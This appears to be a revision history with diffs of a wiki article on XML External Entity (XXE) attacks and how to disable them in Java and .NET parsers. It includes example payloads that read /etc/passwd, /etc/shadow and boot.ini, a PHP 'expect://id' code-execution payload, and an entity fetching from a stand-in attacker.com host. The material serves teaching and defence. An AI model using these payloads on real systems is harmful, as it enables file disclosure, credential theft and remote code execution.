XML External Entity (XXE) Processing - Revision history

Neil Smithline: /* Disclosing /etc/passwd or other targeted files */ remove extra space

2017-10-15T01:46:07Z

‎Disclosing /etc/passwd or other targeted files: remove extra space

DhirajMishra: XML_External_Entity_(XXE)

2016-11-12T18:12:15Z

XML_External_Entity_(XXE)

Wichers: /* References */

2016-03-09T19:48:46Z

‎References

Wichers: /* Related Controls */

2016-03-09T19:48:06Z

‎Related Controls

Show changes

Wichers at 17:53, 24 February 2016

2016-02-24T17:53:41Z

Show changes

Xiaoran Wang at 23:24, 11 February 2016

2016-02-11T23:24:16Z

Xiaoran Wang at 22:55, 11 February 2016

2016-02-11T22:55:56Z

Jmanico: /* .NET */

2015-10-06T20:26:19Z

‎.NET

Jmanico: /* .NET */

2015-10-06T20:25:20Z

‎.NET

Jmanico: /* .NET */

2015-10-06T20:25:07Z

‎.NET

@@ Line 28: / Line 28: @@
   '''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
- <!DOCTYPE foo [
+  <!DOCTYPE foo [
-  <!ELEMENT foo ANY >
+   <!ELEMENT foo ANY >
-  <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo></nowiki>'''
+   <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo></nowiki>'''
 ==Remote Code Execution==
@@ Line 36: / Line 36: @@
 If fortune is on our side, and the PHP "expect" module is loaded, we can get RCE. Let’s modify the payload
-  '''<?xml version="1.0" encoding="ISO-8859-1"?>
+  '''<?xml version="1.0" encoding="ISO-8859-1"?>'''
-  ''' <!DOCTYPE foo [ <!ELEMENT foo ANY >
+  ''' <!DOCTYPE foo [ <!ELEMENT foo ANY >'''
-  '''   <!ENTITY xxe SYSTEM "expect://id" >]>
+  '''   <!ENTITY xxe SYSTEM "expect://id" >]>'''
-   '''   <creds>
+   '''   <creds>'''
-   '''      <user>&xxe;</user>
+   '''      <user>&xxe;</user>'''
-   '''      <pass>mypass</pass>
+   '''      <pass>mypass</pass>'''
    '''   </creds>'''
 ===Disclosing /etc/passwd or other targeted files===
-  '''<nowiki>  <?xml version="1.0" encoding="ISO-8859-1"?>
+  ''' <?xml version="1.0" encoding="ISO-8859-1"?>
- <!DOCTYPE foo [
+  <!DOCTYPE foo [
-   <!ELEMENT foo ANY >
+    <!ELEMENT foo ANY >
-   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
+    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
-−
- <?xml version="1.0" encoding="ISO-8859-1"?>
+  <?xml version="1.0" encoding="ISO-8859-1"?>
- <!DOCTYPE foo [
+  <!DOCTYPE foo [
-   <!ELEMENT foo ANY >
+    <!ELEMENT foo ANY >
-   <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
+    <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
-−
- <?xml version="1.0" encoding="ISO-8859-1"?>
+  <?xml version="1.0" encoding="ISO-8859-1"?>
- <!DOCTYPE foo [
+  <!DOCTYPE foo [
-   <!ELEMENT foo ANY >
+    <!ELEMENT foo ANY >
-   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
+    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
-−
- <?xml version="1.0" encoding="ISO-8859-1"?>
+  <?xml version="1.0" encoding="ISO-8859-1"?>
- <!DOCTYPE foo [
+  <!DOCTYPE foo [
-   <!ELEMENT foo ANY >
+    <!ELEMENT foo ANY >
-   <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo></nowiki>'''
+    <!ENTITY xxe SYSTEM "<nowiki>http://www.attacker.com/text.txt</nowiki>" >]><foo>&xxe;</foo>'''
 ==Related [[Attacks]]==
@@ Line 93: / Line 93: @@
 * [http://msdn.microsoft.com/en-us/magazine/ee335713.aspx XML Denial of Service Attacks and Defenses (in .NET)]
 * [http://www.securityfocus.com/archive/1/297714/2002-10-27/2002-11-02/0 Early (2002) BugTraq Article on XXE]
 [[Category:API_Abuse]]

@@ Line 31: / Line 31: @@
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo></nowiki>'''
 ===Disclosing /etc/passwd or other targeted files===

@@ Line 71: / Line 71: @@
 ==References==
 * [http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf Timothy Morgan's 2014 Paper: XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques]
 * [http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf Precursor presentation of above paper - at OWASP AppSec USA 2013]

@@ Line 87: / Line 87: @@
   '''<nowiki>
 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
-'''</nowiki>
+</nowiki>'''
 Disabling DTD also makes the parser secure against denial of services attacks such as Billion Laughs. If it is not possible to disable DTD completely, then external entities and external doctypes must be disabled in the way that’s specific to each parser listed below.
@@ Line 223: / Line 223: @@
 * Unmarshaller um = jc.createUnmarshaller();
 * um.unmarshal(xmlSource);
 ====XPathExpression====
@@ Line 231: / Line 230: @@
 * df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
 * builder = df.newDocumentBuilder();
 * xPathExpression.evaluate( builder.parse(new ByteArrayInputStream(xml.getBytes())) );
 ====Non-JDK XML Parsers====
 There are many 3rd party library that parses XML either as a functionality or part of other functionalities. Please test and verify their XML parser is secure against XXE by default. If the parser is not secure by default, look for controllable flags in the parser exposed out of the library to disable all possible external resource inclusions like the examples given above. If there’s no control exposed to the outside, make sure the untrusted content is parsed through a secure parser first and then passed to insecure 3rd party parser similar to how Unmarshaller is secured.
 ===.NET===

@@ Line 6: / Line 6: @@
 ==Description==
-An <i>XML External Entity</i> attack is a type of attack against an application that parses XML input. This attack occurs when <b>XML input containing a reference to an external entity is processed by a weakly configured XML parser</b>. This attack may lead to the disclosure of confidential data, denial of service, port scanning from the perspective of the machine where the parser is located, and other system impacts.
+An <i>XML External Entity</i> attack is a type of attack against an application that parses XML input. This attack occurs when <b>XML input containing a reference to an external entity is processed by a weakly configured XML parser</b>. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
-The [http://www.w3.org/TR/REC-xml/ XML 1.0 standard] defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There exists a specific type of entity, an [http://www.w3.org/TR/REC-xml/#sec-external-ent external general parsed entity] often shortened to an '''external entity''', that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application.
+The [http://www.w3.org/TR/REC-xml/ XML 1.0 standard] defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There exists few specific type of entites, [http://www.w3.org/TR/REC-xml/#sec-external-ent external general/parameter parsed entity] often shortened to '''external entity''', that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application. Similar attack vectors apply the usage of external DTDs, external stylesheets, external schemas, which when included would allow similar external resource inclusion style attacks.
-Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
+Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests or launching a CSRF attack to any unprotected internal services. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
 ==Risk Factors==
@@ Line 81: / Line 82: @@
 Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use. The following describes how to disable XXE in the most commonly used XML parsers for Java.
 ====JAXP DocumentBuilderFactory and SAXParserFactory====
@@ Line 104: / Line 113: @@
        // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities
        // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities
        FEATURE = "http://xml.org/sax/features/external-general-entities";
        dbf.setFeature(FEATURE, false);
@@ Line 109: / Line 119: @@
        // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities
        // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities
        FEATURE = "http://xml.org/sax/features/external-parameter-entities";
        dbf.setFeature(FEATURE, false);
@@ Line 145: / Line 160: @@
 * Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to <code>false</code>.
 * Do not include parameter entities by setting [http://xerces.apache.org/xerces-j/features.html#external-parameter-entities this feature] to <code>false</code>.
 [http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:
@@ Line 150: / Line 166: @@
 * Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to <code>false</code>.
 * Do not include parameter entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities  this feature] to <code>false</code>.
 ====StAX and XMLInputFactory====
@@ Line 158: / Line 175: @@
 * xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
 ===.NET===

@@ Line 168: / Line 168: @@
 To protect your app from XML Denial of Service attack you should prohibit inline entities resolving by changing DTD parsing settings.
 .NET 3.5
 In .NET Framework versions 3.5 and earlier, DTD parsing behavior is controlled by the Boolean ProhibitDtd property found in the System.Xml.XmlTextReader and System.Xml.XmlReaderSettings classes. Set this value to true to disable inline DTDs completely:
@@ Line 184: / Line 185: @@
 If you need DTD parsing enabled, but need to know how to do it safely, the above referenced MSDN article has detailed instructions on how to do that too.
 .NET 4.0, .NET 4.5
 In .NET Framework version 4.0, DTD parsing behavior has been changed. The ProhibitDtd property has been deprecated in favor of the new DtdProcessing property, whose default value is Prohibit. This means that .NET 4.0 apps should be immune to XXE by default, if they are using an XmlReader to parse their XML.

← Older revision		Revision as of 20:25, 6 October 2015
Line 160:		Line 160:

	===.NET===		===.NET===
−
−	~~.NET~~

	The following information for .NET are almost direct quotes from this great article on how to prevent XXE and XML Denial of Service in .NET:http://msdn.microsoft.com/en-us/magazine/ee335713.aspx.		The following information for .NET are almost direct quotes from this great article on how to prevent XXE and XML Denial of Service in .NET:http://msdn.microsoft.com/en-us/magazine/ee335713.aspx.

@@ Line 161: / Line 161: @@
 ===.NET===
-The following information for .NET is a direct quote from this great article on how to prevent XXE and XML Denial of Service in .NET: http://msdn.microsoft.com/en-us/magazine/ee335713.aspx.
+ .NET
-"In the .NET Framework, you can prevent XmlReader from resolving external entities while still allowing it to resolve inline entities by setting the XmlResolver property of XmlReaderSettings to null."
+The following information for .NET are almost direct quotes from this great article on how to prevent XXE and XML Denial of Service in .NET:http://msdn.microsoft.com/en-us/magazine/ee335713.aspx.
   settings.XmlResolver = null;
 ===iOS===